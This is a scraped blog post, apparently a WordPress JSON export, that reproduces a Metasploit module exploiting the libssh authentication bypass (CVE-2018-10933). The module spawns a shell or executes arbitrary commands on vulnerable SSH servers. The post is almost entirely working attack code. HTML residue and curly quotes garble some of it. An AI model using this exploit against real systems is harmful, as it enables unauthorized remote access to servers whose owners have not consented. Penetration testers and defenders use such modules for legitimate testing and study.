##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary<\/p>\n
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::ReportSummary<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘libssh Authentication Bypass Scanner’,
‘Description’ => %q{
This module exploits an authentication bypass in libssh server code
where a USERAUTH_SUCCESS message is sent in place of the expected
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and
0.8.0 through 0.8.3 are vulnerable.<\/p>\n
Note that this module’s success depends on whether the server code
can trigger the correct (shell\/exec) callbacks despite only the state
machine’s authenticated state being set.<\/p>\n
Therefore, you may or may not get a shell if the server requires
additional code paths to be followed.
},
‘Author’ => [
‘Peter Winter-Smith’, # Discovery
‘wvu’ # Module
],
‘References’ => [
[‘CVE’, ‘2018-10933’],
[‘URL’, ‘https:\/\/www.libssh.org\/security\/advisories\/CVE-2018-10933.txt’]],
‘DisclosureDate’ => ‘2018-10-16’,
‘License’ => MSF_LICENSE,
‘Actions’ => [
[‘Shell’, ‘Description’ => ‘Spawn a shell’],
[‘Execute’, ‘Description’ => ‘Execute a command’]],
‘DefaultAction’ => ‘Shell’
))<\/p>\n
register_options([
Opt::RPORT(22),
OptString.new(‘CMD’, [false, ‘Command or alternative shell’]),
OptBool.new(‘SPAWN_PTY’, [false, ‘Spawn a PTY’, false]),
OptBool.new(‘CHECK_BANNER’, [false, ‘Check banner for libssh’, true])
])<\/p>\n
register_advanced_options([
OptBool.new(‘SSH_DEBUG’, [false, ‘SSH debugging’, false]),
OptInt.new(‘SSH_TIMEOUT’, [false, ‘SSH timeout’, 10])
])
end<\/p>\n
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4
def check_banner(ip, version)
version =~ \/libssh[_-]?([\\d.]*)$\/ && $1 && (v = Rex::Version.new($1))<\/p>\n
if v.nil?
vprint_error(“#{ip}:#{rport} – #{version} does not appear to be libssh”)
Exploit::CheckCode::Unknown
elsif v.to_s.empty?
vprint_warning(“#{ip}:#{rport} – libssh version not reported”)
Exploit::CheckCode::Detected
elsif v.between?(Rex::Version.new(‘0.6.0’), Rex::Version.new(‘0.7.5’)) ||
v.between?(Rex::Version.new(‘0.8.0’), Rex::Version.new(‘0.8.3’))
vprint_good(“#{ip}:#{rport} – #{version} appears to be unpatched”)
Exploit::CheckCode::Appears
else
vprint_error(“#{ip}:#{rport} – #{version} appears to be patched”)
Exploit::CheckCode::Safe
end
end<\/p>\n
def run_host(ip)
if action.name == ‘Execute’ && datastore[‘CMD’].blank?
fail_with(Failure::BadConfig, ‘Execute action requires CMD to be set’)
end<\/p>\n
ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin
auth_methods: [‘libssh-auth-bypass’]})<\/p>\n
ssh_opts.merge!(verbose: :debug) if datastore[‘SSH_DEBUG’]\n
print_status(“#{ip}:#{rport} – Attempting authentication bypass”)<\/p>\n
begin
ssh = Timeout.timeout(datastore[‘SSH_TIMEOUT’]) do
Net::SSH.start(ip, username, ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
return unless ssh<\/p>\n
version = ssh.transport.server_version.version<\/p>\n
# XXX: The OOB authentication leads to false positives, so check banner
if datastore[‘CHECK_BANNER’]return if check_banner(ip, version) !=
(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)
end<\/p>\n
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)<\/p>\n
shell = Net::SSH::CommandStream.new(ssh, datastore[‘CMD’], pty: datastore[‘SPAWN_PTY’])<\/p>\n
# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1<\/p>\n
if (e = shell.error)
print_error(“#{ip}:#{rport} – #{e.class}: #{e.message}”)
return
end<\/p>\n
print_status(“Attempting #{action.name.inspect} Action, see \\”show actions\\” for more details”)
case action.name
when ‘Shell’
if datastore[‘CreateSession’]start_session(self, “#{self.name} (#{version})”, {}, false, shell.lsock)
end
when ‘Execute’
output = shell.channel && (shell.channel[:data] || ”).chomp<\/p>\n
if output.blank?
print_error(“#{ip}:#{rport} – Empty or blank command output”)
return
end<\/p>\n
print_status(“#{ip}:#{rport} – Executed: #{datastore[‘CMD’]}\\n#{output}”)
end
end<\/p>\n
def rport
datastore[‘RPORT’]end<\/p>\n
def username
Rex::Text.rand_text_alphanumeric(8..42)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SSHinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::CommandShellinclude Msf::Auxiliary::Reportinclude Msf::Sessions::CreateSessionOptionsinclude Msf::Auxiliary::ReportSummary def initialize(info = {})super(update_info(info,‘Name’ => ‘libssh Authentication Bypass Scanner’,‘Description’ => %q{This module exploits an authentication bypass in libssh server codewhere a USERAUTH_SUCCESS message is sent in place of the expectedUSERAUTH_REQUEST message. libssh versions 0.6.0 through …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59362","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59362","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59362"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59362\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59362"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59362"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59362"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}